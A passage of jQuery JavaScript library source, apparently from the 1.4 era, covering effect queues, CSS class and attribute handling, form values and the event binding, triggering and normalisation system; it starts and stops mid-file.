to prevent the fx queue from being\n\t\t\t// automatically dequeued\n\t\t\tif ( type === \"fx\" ) {\n\t\t\t\tqueue.unshift(\"inprogress\");\n\t\t\t}\n\n\t\t\tfn.call(elem, function() {\n\t\t\t\tjQuery.dequeue(elem, type);\n\t\t\t});\n\t\t}\n\t}\n});\n\njQuery.fn.extend({\n\tqueue: function( type, data ) {\n\t\tif ( typeof type !== \"string\" ) {\n\t\t\tdata = type;\n\t\t\ttype = \"fx\";\n\t\t}\n\n\t\tif ( data === undefined ) {\n\t\t\treturn jQuery.queue( this[0], type );\n\t\t}\n\t\treturn this.each(function( i, elem ) {\n\t\t\tvar queue = jQuery.queue( this, type, data );\n\n\t\t\tif ( type === \"fx\" && queue[0] !== \"inprogress\" ) {\n\t\t\t\tjQuery.dequeue( this, type );\n\t\t\t}\n\t\t});\n\t},\n\tdequeue: function( type ) {\n\t\treturn this.each(function() {\n\t\t\tjQuery.dequeue( this, type );\n\t\t});\n\t},\n\n\t// Based off of the plugin by Clint Helfers, with permission.\n\t// http://blindsignals.com/index.php/2009/07/jquery-delay/\n\tdelay: function( time, type ) {\n\t\ttime = jQuery.fx ? jQuery.fx.speeds[time] || time : time;\n\t\ttype = type || \"fx\";\n\n\t\treturn this.queue( type, function() {\n\t\t\tvar elem = this;\n\t\t\tsetTimeout(function() {\n\t\t\t\tjQuery.dequeue( elem, type );\n\t\t\t}, time );\n\t\t});\n\t},\n\n\tclearQueue: function( type ) {\n\t\treturn this.queue( type || \"fx\", [] );\n\t}\n});\nvar rclass = /[\\n\\t]/g,\n\trspace = /\\s+/,\n\trreturn = /\\r/g,\n\trspecialurl = /href|src|style/,\n\trtype = /(button|input)/i,\n\trfocusable = /(button|input|object|select|textarea)/i,\n\trclickable = /^(a|area)$/i,\n\trradiocheck = /radio|checkbox/;\n\njQuery.fn.extend({\n\tattr: function( name, value ) {\n\t\treturn access( this, name, value, true, jQuery.attr );\n\t},\n\n\tremoveAttr: function( name, fn ) {\n\t\treturn this.each(function(){\n\t\t\tjQuery.attr( this, name, \"\" );\n\t\t\tif ( this.nodeType === 1 ) {\n\t\t\t\tthis.removeAttribute( name );\n\t\t\t}\n\t\t});\n\t},\n\n\taddClass: function( value ) {\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.addClass( value.call(this, i, self.attr(\"class\")) );\n\t\t\t});\n\t\t}\n\n\t\tif ( value && typeof value === \"string\" ) {\n\t\t\tvar classNames = (value || \"\").split( rspace );\n\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar elem = this[i];\n\n\t\t\t\tif ( elem.nodeType === 1 ) {\n\t\t\t\t\tif ( !elem.className ) {\n\t\t\t\t\t\telem.className = value;\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tvar className = \" \" + elem.className + \" \";\n\t\t\t\t\t\tfor ( var c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tif ( className.indexOf( \" \" + classNames[c] + \" \" ) < 0 ) {\n\t\t\t\t\t\t\t\telem.className += \" \" + classNames[c];\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\tremoveClass: function( value ) {\n\t\tif ( jQuery.isFunction(value) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.removeClass( value.call(this, i, self.attr(\"class\")) );\n\t\t\t});\n\t\t}\n\n\t\tif ( (value && typeof value === \"string\") || value === undefined ) {\n\t\t\tvar classNames = (value || \"\").split(rspace);\n\n\t\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\t\tvar elem = this[i];\n\n\t\t\t\tif ( elem.nodeType === 1 && elem.className ) {\n\t\t\t\t\tif ( value ) {\n\t\t\t\t\t\tvar className = (\" \" + elem.className + \" \").replace(rclass, \" \");\n\t\t\t\t\t\tfor ( var c = 0, cl = classNames.length; c < cl; c++ ) {\n\t\t\t\t\t\t\tclassName = className.replace(\" \" + classNames[c] + \" \", \" \");\n\t\t\t\t\t\t}\n\t\t\t\t\t\telem.className = className.substring(1, className.length - 1);\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\telem.className = \"\";\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn this;\n\t},\n\n\ttoggleClass: function( value, stateVal ) {\n\t\tvar type = typeof value, isBool = typeof stateVal === \"boolean\";\n\n\t\tif ( jQuery.isFunction( value ) ) {\n\t\t\treturn this.each(function(i) {\n\t\t\t\tvar self = jQuery(this);\n\t\t\t\tself.toggleClass( value.call(this, i, self.attr(\"class\"), stateVal), stateVal );\n\t\t\t});\n\t\t}\n\n\t\treturn this.each(function() {\n\t\t\tif ( type === \"string\" ) {\n\t\t\t\t// toggle individual class names\n\t\t\t\tvar className, i = 0, self = jQuery(this),\n\t\t\t\t\tstate = stateVal,\n\t\t\t\t\tclassNames = value.split( rspace );\n\n\t\t\t\twhile ( (className = classNames[ i++ ]) ) {\n\t\t\t\t\t// check each className given, space seperated list\n\t\t\t\t\tstate = isBool ? state : !self.hasClass( className );\n\t\t\t\t\tself[ state ? \"addClass\" : \"removeClass\" ]( className );\n\t\t\t\t}\n\n\t\t\t} else if ( type === \"undefined\" || type === \"boolean\" ) {\n\t\t\t\tif ( this.className ) {\n\t\t\t\t\t// store className if set\n\t\t\t\t\tjQuery.data( this, \"__className__\", this.className );\n\t\t\t\t}\n\n\t\t\t\t// toggle whole className\n\t\t\t\tthis.className = this.className || value === false ? \"\" : jQuery.data( this, \"__className__\" ) || \"\";\n\t\t\t}\n\t\t});\n\t},\n\n\thasClass: function( selector ) {\n\t\tvar className = \" \" + selector + \" \";\n\t\tfor ( var i = 0, l = this.length; i < l; i++ ) {\n\t\t\tif ( (\" \" + this[i].className + \" \").replace(rclass, \" \").indexOf( className ) > -1 ) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\treturn false;\n\t},\n\n\tval: function( value ) {\n\t\tif ( value === undefined ) {\n\t\t\tvar elem = this[0];\n\n\t\t\tif ( elem ) {\n\t\t\t\tif ( jQuery.nodeName( elem, \"option\" ) ) {\n\t\t\t\t\treturn (elem.attributes.value || {}).specified ? elem.value : elem.text;\n\t\t\t\t}\n\n\t\t\t\t// We need to handle select boxes special\n\t\t\t\tif ( jQuery.nodeName( elem, \"select\" ) ) {\n\t\t\t\t\tvar index = elem.selectedIndex,\n\t\t\t\t\t\tvalues = [],\n\t\t\t\t\t\toptions = elem.options,\n\t\t\t\t\t\tone = elem.type === \"select-one\";\n\n\t\t\t\t\t// Nothing was selected\n\t\t\t\t\tif ( index < 0 ) {\n\t\t\t\t\t\treturn null;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Loop through all the selected options\n\t\t\t\t\tfor ( var i = one ? index : 0, max = one ? index + 1 : options.length; i < max; i++ ) {\n\t\t\t\t\t\tvar option = options[ i ];\n\n\t\t\t\t\t\tif ( option.selected ) {\n\t\t\t\t\t\t\t// Get the specifc value for the option\n\t\t\t\t\t\t\tvalue = jQuery(option).val();\n\n\t\t\t\t\t\t\t// We don't need an array for one selects\n\t\t\t\t\t\t\tif ( one ) {\n\t\t\t\t\t\t\t\treturn value;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\t// Multi-Selects return an array\n\t\t\t\t\t\t\tvalues.push( value );\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t\treturn values;\n\t\t\t\t}\n\n\t\t\t\t// Handle the case where in Webkit \"\" is returned instead of \"on\" if a value isn't specified\n\t\t\t\tif ( rradiocheck.test( elem.type ) && !jQuery.support.checkOn ) {\n\t\t\t\t\treturn elem.getAttribute(\"value\") === null ? \"on\" : elem.value;\n\t\t\t\t}\n\t\t\t\t\n\n\t\t\t\t// Everything else, we just grab the value\n\t\t\t\treturn (elem.value || \"\").replace(rreturn, \"\");\n\n\t\t\t}\n\n\t\t\treturn undefined;\n\t\t}\n\n\t\tvar isFunction = jQuery.isFunction(value);\n\n\t\treturn this.each(function(i) {\n\t\t\tvar self = jQuery(this), val = value;\n\n\t\t\tif ( this.nodeType !== 1 ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif ( isFunction ) {\n\t\t\t\tval = value.call(this, i, self.val());\n\t\t\t}\n\n\t\t\t// Typecast each time if the value is a Function and the appended\n\t\t\t// value is therefore different each time.\n\t\t\tif ( typeof val === \"number\" ) {\n\t\t\t\tval += \"\";\n\t\t\t}\n\n\t\t\tif ( jQuery.isArray(val) && rradiocheck.test( this.type ) ) {\n\t\t\t\tthis.checked = jQuery.inArray( self.val(), val ) >= 0;\n\n\t\t\t} else if ( jQuery.nodeName( this, \"select\" ) ) {\n\t\t\t\tvar values = jQuery.makeArray(val);\n\n\t\t\t\tjQuery( \"option\", this ).each(function() {\n\t\t\t\t\tthis.selected = jQuery.inArray( jQuery(this).val(), values ) >= 0;\n\t\t\t\t});\n\n\t\t\t\tif ( !values.length ) {\n\t\t\t\t\tthis.selectedIndex = -1;\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\tthis.value = val;\n\t\t\t}\n\t\t});\n\t}\n});\n\njQuery.extend({\n\tattrFn: {\n\t\tval: true,\n\t\tcss: true,\n\t\thtml: true,\n\t\ttext: true,\n\t\tdata: true,\n\t\twidth: true,\n\t\theight: true,\n\t\toffset: true\n\t},\n\t\t\n\tattr: function( elem, name, value, pass ) {\n\t\t// don't set attributes on text and comment nodes\n\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn undefined;\n\t\t}\n\n\t\tif ( pass && name in jQuery.attrFn ) {\n\t\t\treturn jQuery(elem)[name](value);\n\t\t}\n\n\t\tvar notxml = elem.nodeType !== 1 || !jQuery.isXMLDoc( elem ),\n\t\t\t// Whether we are setting (or getting)\n\t\t\tset = value !== undefined;\n\n\t\t// Try to normalize/fix the name\n\t\tname = notxml && jQuery.props[ name ] || name;\n\n\t\t// Only do all the following if this is a node (faster for style)\n\t\tif ( elem.nodeType === 1 ) {\n\t\t\t// These attributes require special treatment\n\t\t\tvar special = rspecialurl.test( name );\n\n\t\t\t// Safari mis-reports the default selected property of an option\n\t\t\t// Accessing the parent's selectedIndex property fixes it\n\t\t\tif ( name === \"selected\" && !jQuery.support.optSelected ) {\n\t\t\t\tvar parent = elem.parentNode;\n\t\t\t\tif ( parent ) {\n\t\t\t\t\tparent.selectedIndex;\n\t\n\t\t\t\t\t// Make sure that it also works with optgroups, see #5701\n\t\t\t\t\tif ( parent.parentNode ) {\n\t\t\t\t\t\tparent.parentNode.selectedIndex;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// If applicable, access the attribute via the DOM 0 way\n\t\t\tif ( name in elem && notxml && !special ) {\n\t\t\t\tif ( set ) {\n\t\t\t\t\t// We can't allow the type property to be changed (since it causes problems in IE)\n\t\t\t\t\tif ( name === \"type\" && rtype.test( elem.nodeName ) && elem.parentNode ) {\n\t\t\t\t\t\tjQuery.error( \"type property can't be changed\" );\n\t\t\t\t\t}\n\n\t\t\t\t\telem[ name ] = value;\n\t\t\t\t}\n\n\t\t\t\t// browsers index elements by id/name on forms, give priority to attributes.\n\t\t\t\tif ( jQuery.nodeName( elem, \"form\" ) && elem.getAttributeNode(name) ) {\n\t\t\t\t\treturn elem.getAttributeNode( name ).nodeValue;\n\t\t\t\t}\n\n\t\t\t\t// elem.tabIndex doesn't always return the correct value when it hasn't been explicitly set\n\t\t\t\t// http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/\n\t\t\t\tif ( name === \"tabIndex\" ) {\n\t\t\t\t\tvar attributeNode = elem.getAttributeNode( \"tabIndex\" );\n\n\t\t\t\t\treturn attributeNode && attributeNode.specified ?\n\t\t\t\t\t\tattributeNode.value :\n\t\t\t\t\t\trfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ?\n\t\t\t\t\t\t\t0 :\n\t\t\t\t\t\t\tundefined;\n\t\t\t\t}\n\n\t\t\t\treturn elem[ name ];\n\t\t\t}\n\n\t\t\tif ( !jQuery.support.style && notxml && name === \"style\" ) {\n\t\t\t\tif ( set ) {\n\t\t\t\t\telem.style.cssText = \"\" + value;\n\t\t\t\t}\n\n\t\t\t\treturn elem.style.cssText;\n\t\t\t}\n\n\t\t\tif ( set ) {\n\t\t\t\t// convert the value to a string (all browsers do this but IE) see #1070\n\t\t\t\telem.setAttribute( name, \"\" + value );\n\t\t\t}\n\n\t\t\tvar attr = !jQuery.support.hrefNormalized && notxml && special ?\n\t\t\t\t\t// Some attributes require a special call on IE\n\t\t\t\t\telem.getAttribute( name, 2 ) :\n\t\t\t\t\telem.getAttribute( name );\n\n\t\t\t// Non-existent attributes return null, we normalize to undefined\n\t\t\treturn attr === null ? undefined : attr;\n\t\t}\n\n\t\t// elem is actually elem.style ... set the style\n\t\t// Using attr for specific style information is now deprecated. Use style insead.\n\t\treturn jQuery.style( elem, name, value );\n\t}\n});\nvar fcleanup = function( nm ) {\n\treturn nm.replace(/[^\\w\\s\\.\\|`]/g, function( ch ) {\n\t\treturn \"\\\\\" + ch;\n\t});\n};\n\n/*\n * A number of helper functions used for managing events.\n * Many of the ideas behind this code originated from\n * Dean Edwards' addEvent library.\n */\njQuery.event = {\n\n\t// Bind an event to an element\n\t// Original by Dean Edwards\n\tadd: function( elem, types, handler, data ) {\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// For whatever reason, IE has trouble passing the window object\n\t\t// around, causing it to be cloned in the process\n\t\tif ( elem.setInterval && ( elem !== window && !elem.frameElement ) ) {\n\t\t\telem = window;\n\t\t}\n\n\t\t// Make sure that the function being executed has a unique ID\n\t\tif ( !handler.guid ) {\n\t\t\thandler.guid = jQuery.guid++;\n\t\t}\n\n\t\t// if data is passed, bind to handler\n\t\tif ( data !== undefined ) {\n\t\t\t// Create temporary function pointer to original handler\n\t\t\tvar fn = handler;\n\n\t\t\t// Create unique handler function, wrapped around original handler\n\t\t\thandler = jQuery.proxy( fn );\n\n\t\t\t// Store data in unique handler\n\t\t\thandler.data = data;\n\t\t}\n\n\t\t// Init the element's event structure\n\t\tvar events = jQuery.data( elem, \"events\" ) || jQuery.data( elem, \"events\", {} ),\n\t\t\thandle = jQuery.data( elem, \"handle\" ), eventHandle;\n\n\t\tif ( !handle ) {\n\t\t\teventHandle = function() {\n\t\t\t\t// Handle the second event of a trigger and when\n\t\t\t\t// an event is called after a page has unloaded\n\t\t\t\treturn typeof jQuery !== \"undefined\" && !jQuery.event.triggered ?\n\t\t\t\t\tjQuery.event.handle.apply( eventHandle.elem, arguments ) :\n\t\t\t\t\tundefined;\n\t\t\t};\n\n\t\t\thandle = jQuery.data( elem, \"handle\", eventHandle );\n\t\t}\n\n\t\t// If no handle is found then we must be trying to bind to one of the\n\t\t// banned noData elements\n\t\tif ( !handle ) {\n\t\t\treturn;\n\t\t}\n\n\t\t// Add elem as a property of the handle function\n\t\t// This is to prevent a memory leak with non-native\n\t\t// event in IE.\n\t\thandle.elem = elem;\n\n\t\t// Handle multiple events separated by a space\n\t\t// jQuery(...).bind(\"mouseover mouseout\", fn);\n\t\ttypes = types.split( /\\s+/ );\n\n\t\tvar type, i = 0;\n\n\t\twhile ( (type = types[ i++ ]) ) {\n\t\t\t// Namespaced event handlers\n\t\t\tvar namespaces = type.split(\".\");\n\t\t\ttype = namespaces.shift();\n\n\t\t\tif ( i > 1 ) {\n\t\t\t\thandler = jQuery.proxy( handler );\n\n\t\t\t\tif ( data !== undefined ) {\n\t\t\t\t\thandler.data = data;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\thandler.type = namespaces.slice(0).sort().join(\".\");\n\n\t\t\t// Get the current list of functions bound to this event\n\t\t\tvar handlers = events[ type ],\n\t\t\t\tspecial = this.special[ type ] || {};\n\n\t\t\t// Init the event handler queue\n\t\t\tif ( !handlers ) {\n\t\t\t\thandlers = events[ type ] = {};\n\n\t\t\t\t// Check for a special event handler\n\t\t\t\t// Only use addEventListener/attachEvent if the special\n\t\t\t\t// events handler returns false\n\t\t\t\tif ( !special.setup || special.setup.call( elem, data, namespaces, handler) === false ) {\n\t\t\t\t\t// Bind the global event handler to the element\n\t\t\t\t\tif ( elem.addEventListener ) {\n\t\t\t\t\t\telem.addEventListener( type, handle, false );\n\t\t\t\t\t} else if ( elem.attachEvent ) {\n\t\t\t\t\t\telem.attachEvent( \"on\" + type, handle );\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tif ( special.add ) { \n\t\t\t\tvar modifiedHandler = special.add.call( elem, handler, data, namespaces, handlers ); \n\t\t\t\tif ( modifiedHandler && jQuery.isFunction( modifiedHandler ) ) { \n\t\t\t\t\tmodifiedHandler.guid = modifiedHandler.guid || handler.guid; \n\t\t\t\t\tmodifiedHandler.data = modifiedHandler.data || handler.data; \n\t\t\t\t\tmodifiedHandler.type = modifiedHandler.type || handler.type; \n\t\t\t\t\thandler = modifiedHandler; \n\t\t\t\t} \n\t\t\t} \n\t\t\t\n\t\t\t// Add the function to the element's handler list\n\t\t\thandlers[ handler.guid ] = handler;\n\n\t\t\t// Keep track of which events have been used, for global triggering\n\t\t\tthis.global[ type ] = true;\n\t\t}\n\n\t\t// Nullify elem to prevent memory leaks in IE\n\t\telem = null;\n\t},\n\n\tglobal: {},\n\n\t// Detach an event or set of events from an element\n\tremove: function( elem, types, handler ) {\n\t\t// don't do events on text and comment nodes\n\t\tif ( elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar events = jQuery.data( elem, \"events\" ), ret, type, fn;\n\n\t\tif ( events ) {\n\t\t\t// Unbind all events for the element\n\t\t\tif ( types === undefined || (typeof types === \"string\" && types.charAt(0) === \".\") ) {\n\t\t\t\tfor ( type in events ) {\n\t\t\t\t\tthis.remove( elem, type + (types || \"\") );\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// types is actually an event object here\n\t\t\t\tif ( types.type ) {\n\t\t\t\t\thandler = types.handler;\n\t\t\t\t\ttypes = types.type;\n\t\t\t\t}\n\n\t\t\t\t// Handle multiple events separated by a space\n\t\t\t\t// jQuery(...).unbind(\"mouseover mouseout\", fn);\n\t\t\t\ttypes = types.split(/\\s+/);\n\t\t\t\tvar i = 0;\n\t\t\t\twhile ( (type = types[ i++ ]) ) {\n\t\t\t\t\t// Namespaced event handlers\n\t\t\t\t\tvar namespaces = type.split(\".\");\n\t\t\t\t\ttype = namespaces.shift();\n\t\t\t\t\tvar all = !namespaces.length,\n\t\t\t\t\t\tcleaned = jQuery.map( namespaces.slice(0).sort(), fcleanup ),\n\t\t\t\t\t\tnamespace = new RegExp(\"(^|\\\\.)\" + cleaned.join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\"),\n\t\t\t\t\t\tspecial = this.special[ type ] || {};\n\n\t\t\t\t\tif ( events[ type ] ) {\n\t\t\t\t\t\t// remove the given handler for the given type\n\t\t\t\t\t\tif ( handler ) {\n\t\t\t\t\t\t\tfn = events[ type ][ handler.guid ];\n\t\t\t\t\t\t\tdelete events[ type ][ handler.guid ];\n\n\t\t\t\t\t\t// remove all handlers for the given type\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tfor ( var handle in events[ type ] ) {\n\t\t\t\t\t\t\t\t// Handle the removal of namespaced events\n\t\t\t\t\t\t\t\tif ( all || namespace.test( events[ type ][ handle ].type ) ) {\n\t\t\t\t\t\t\t\t\tdelete events[ type ][ handle ];\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( special.remove ) {\n\t\t\t\t\t\t\tspecial.remove.call( elem, namespaces, fn);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// remove generic event handler if no more handlers exist\n\t\t\t\t\t\tfor ( ret in events[ type ] ) {\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ( !ret ) {\n\t\t\t\t\t\t\tif ( !special.teardown || special.teardown.call( elem, namespaces ) === false ) {\n\t\t\t\t\t\t\t\tif ( elem.removeEventListener ) {\n\t\t\t\t\t\t\t\t\telem.removeEventListener( type, jQuery.data( elem, \"handle\" ), false );\n\t\t\t\t\t\t\t\t} else if ( elem.detachEvent ) {\n\t\t\t\t\t\t\t\t\telem.detachEvent( \"on\" + type, jQuery.data( elem, \"handle\" ) );\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tret = null;\n\t\t\t\t\t\t\tdelete events[ type ];\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Remove the expando if it's no longer used\n\t\t\tfor ( ret in events ) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tif ( !ret ) {\n\t\t\t\tvar handle = jQuery.data( elem, \"handle\" );\n\t\t\t\tif ( handle ) {\n\t\t\t\t\thandle.elem = null;\n\t\t\t\t}\n\t\t\t\tjQuery.removeData( elem, \"events\" );\n\t\t\t\tjQuery.removeData( elem, \"handle\" );\n\t\t\t}\n\t\t}\n\t},\n\n\t// bubbling is internal\n\ttrigger: function( event, data, elem /*, bubbling */ ) {\n\t\t// Event object or event type\n\t\tvar type = event.type || event,\n\t\t\tbubbling = arguments[3];\n\n\t\tif ( !bubbling ) {\n\t\t\tevent = typeof event === \"object\" ?\n\t\t\t\t// jQuery.Event object\n\t\t\t\tevent[expando] ? event :\n\t\t\t\t// Object literal\n\t\t\t\tjQuery.extend( jQuery.Event(type), event ) :\n\t\t\t\t// Just the event type (string)\n\t\t\t\tjQuery.Event(type);\n\n\t\t\tif ( type.indexOf(\"!\") >= 0 ) {\n\t\t\t\tevent.type = type = type.slice(0, -1);\n\t\t\t\tevent.exclusive = true;\n\t\t\t}\n\n\t\t\t// Handle a global trigger\n\t\t\tif ( !elem ) {\n\t\t\t\t// Don't bubble custom events when global (to avoid too much overhead)\n\t\t\t\tevent.stopPropagation();\n\n\t\t\t\t// Only trigger if we've ever bound an event for it\n\t\t\t\tif ( this.global[ type ] ) {\n\t\t\t\t\tjQuery.each( jQuery.cache, function() {\n\t\t\t\t\t\tif ( this.events && this.events[type] ) {\n\t\t\t\t\t\t\tjQuery.event.trigger( event, data, this.handle.elem );\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Handle triggering a single element\n\n\t\t\t// don't do events on text and comment nodes\n\t\t\tif ( !elem || elem.nodeType === 3 || elem.nodeType === 8 ) {\n\t\t\t\treturn undefined;\n\t\t\t}\n\n\t\t\t// Clean up in case it is reused\n\t\t\tevent.result = undefined;\n\t\t\tevent.target = elem;\n\n\t\t\t// Clone the incoming data, if any\n\t\t\tdata = jQuery.makeArray( data );\n\t\t\tdata.unshift( event );\n\t\t}\n\n\t\tevent.currentTarget = elem;\n\n\t\t// Trigger the event, it is assumed that \"handle\" is a function\n\t\tvar handle = jQuery.data( elem, \"handle\" );\n\t\tif ( handle ) {\n\t\t\thandle.apply( elem, data );\n\t\t}\n\n\t\tvar parent = elem.parentNode || elem.ownerDocument;\n\n\t\t// Trigger an inline bound script\n\t\ttry {\n\t\t\tif ( !(elem && elem.nodeName && jQuery.noData[elem.nodeName.toLowerCase()]) ) {\n\t\t\t\tif ( elem[ \"on\" + type ] && elem[ \"on\" + type ].apply( elem, data ) === false ) {\n\t\t\t\t\tevent.result = false;\n\t\t\t\t}\n\t\t\t}\n\n\t\t// prevent IE from throwing an error for some elements with some event types, see #3533\n\t\t} catch (e) {}\n\n\t\tif ( !event.isPropagationStopped() && parent ) {\n\t\t\tjQuery.event.trigger( event, data, parent, true );\n\n\t\t} else if ( !event.isDefaultPrevented() ) {\n\t\t\tvar target = event.target, old,\n\t\t\t\tisClick = jQuery.nodeName(target, \"a\") && type === \"click\";\n\n\t\t\tif ( !isClick && !(target && target.nodeName && jQuery.noData[target.nodeName.toLowerCase()]) ) {\n\t\t\t\ttry {\n\t\t\t\t\tif ( target[ type ] ) {\n\t\t\t\t\t\t// Make sure that we don't accidentally re-trigger the onFOO events\n\t\t\t\t\t\told = target[ \"on\" + type ];\n\n\t\t\t\t\t\tif ( old ) {\n\t\t\t\t\t\t\ttarget[ \"on\" + type ] = null;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tthis.triggered = true;\n\t\t\t\t\t\ttarget[ type ]();\n\t\t\t\t\t}\n\n\t\t\t\t// prevent IE from throwing an error for some elements with some event types, see #3533\n\t\t\t\t} catch (e) {}\n\n\t\t\t\tif ( old ) {\n\t\t\t\t\ttarget[ \"on\" + type ] = old;\n\t\t\t\t}\n\n\t\t\t\tthis.triggered = false;\n\t\t\t}\n\t\t}\n\t},\n\n\thandle: function( event ) {\n\t\t// returned undefined or false\n\t\tvar all, handlers;\n\n\t\tevent = arguments[0] = jQuery.event.fix( event || window.event );\n\t\tevent.currentTarget = this;\n\n\t\t// Namespaced event handlers\n\t\tvar namespaces = event.type.split(\".\");\n\t\tevent.type = namespaces.shift();\n\n\t\t// Cache this now, all = true means, any handler\n\t\tall = !namespaces.length && !event.exclusive;\n\n\t\tvar namespace = new RegExp(\"(^|\\\\.)\" + namespaces.slice(0).sort().join(\"\\\\.(?:.*\\\\.)?\") + \"(\\\\.|$)\");\n\n\t\thandlers = ( jQuery.data(this, \"events\") || {} )[ event.type ];\n\n\t\tfor ( var j in handlers ) {\n\t\t\tvar handler = handlers[ j ];\n\n\t\t\t// Filter the functions by class\n\t\t\tif ( all || namespace.test(handler.type) ) {\n\t\t\t\t// Pass in a reference to the handler function itself\n\t\t\t\t// So that we can later remove it\n\t\t\t\tevent.handler = handler;\n\t\t\t\tevent.data = handler.data;\n\n\t\t\t\tvar ret = handler.apply( this, arguments );\n\n\t\t\t\tif ( ret !== undefined ) {\n\t\t\t\t\tevent.result = ret;\n\t\t\t\t\tif ( ret === false ) {\n\t\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif ( event.isImmediatePropagationStopped() ) {\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\treturn event.result;\n\t},\n\n\tprops: \"altKey attrChange attrName bubbles button cancelable charCode clientX clientY ctrlKey currentTarget data detail eventPhase fromElement handler keyCode layerX layerY metaKey newValue offsetX offsetY originalTarget pageX pageY prevValue relatedNode relatedTarget screenX screenY shiftKey srcElement target toElement view wheelDelta which\".split(\" \"),\n\n\tfix: function( event ) {\n\t\tif ( event[ expando ] ) {\n\t\t\treturn event;\n\t\t}\n\n\t\t// store a copy of the original event object\n\t\t// and \"clone\" to set read-only properties\n\t\tvar originalEvent = event;\n\t\tevent = jQuery.Event( originalEvent );\n\n\t\tfor ( var i = this.props.length, prop; i; ) {\n\t\t\tprop = this.props[ --i ];\n\t\t\tevent[ prop ] = originalEvent[ prop ];\n\t\t}\n\n\t\t// Fix target property, if necessary\n\t\tif ( !event.target ) {\n\t\t\tevent.target = event.srcElement || document; // Fixes #1925 where srcElement might not be defined either\n\t\t}\n\n\t\t// check if target is a textnode (safari)\n\t\tif ( event.target.nodeType === 3 ) {\n\t\t\tevent.target = event.target.parentNode;\n\t\t}\n\n\t\t// Add relatedTarget, if necessary\n\t\tif ( !event.relatedTarget && event.fromElement ) {\n\t\t\tevent.relatedTarget = event.fromElement === event.target ? event.toElement : event.fromElement;\n\t\t}\n\n\t\t// Calculate pageX/Y if missing and clientX/Y available\n\t\tif ( event.pageX == null && event.clientX != null ) {\n\t\t\tvar doc = document.documentElement, body = document.body;\n\t\t\tevent.pageX = event.clientX + (doc && doc.scrollLeft || body && body.scrollLeft || 0) - (doc && doc.clientLeft || body && body.clientLeft || 0);\n\t\t\tevent.pageY = event.clientY + (doc && doc.scrollTop  || body && body.scrollTop  || 0) - (doc && doc.clientTop  || body && body.clientTop  || 0);\n\t\t}\n\n\t\t// Add which for key events\n\t\tif ( !event.which && ((event.charCode || event.charCode === 0) ? event.charCode : event.keyCode) ) {\n\t\t\tevent.which = event.charCode || event.keyCode;\n\t\t}\n\n\t\t// Add metaKey to non-Mac browsers (use ctrl for PC's and Meta for Macs)\n\t\tif ( !event.metaKey && event.ctrlKey ) {\n\t\t\tevent.metaKey = event.ctrlKey;\n\t\t}\n\n\t\t// Add which for click: 1 === left; 2 === middle; 3 === right\n\t\t// Note: button is not normalized, so don't use it\n\t\tif ( !event.which && event.button !== undefined ) {\n\t\t\tevent.which = (event.button & 1 ? 1 : ( event.button & 2 ? 3 : ( event.button & 4 ? 2 : 0 ) ));\n\t\t}\n\n\t\treturn event;\n\t},\n\n\t// Deprecated, use jQuery.guid instead\n\tguid: 1E8,\n\n\t// Deprecated, use jQuery.proxy instead\n\tproxy: jQuery.proxy,\n\n\tspecial: {\n\t\tready: {\n\t\t\t// Make sure the ready event is setup\n\t\t\tsetup: jQuery.bindReady,\n\t\t\tteardown: jQuery.noop\n\t\t},\n\n\t\tlive: {\n\t\t\tadd: function( proxy, data, namespaces, live ) {\n\t\t\t\tjQuery.extend( proxy, data || {} );\n\n\t\t\t\tproxy.guid += data.selector + data.live; \n\t\t\t\tdata.liveProxy = proxy;\n\n\t\t\t\tjQuery.event.add( this, data.live, liveHandler, data ); 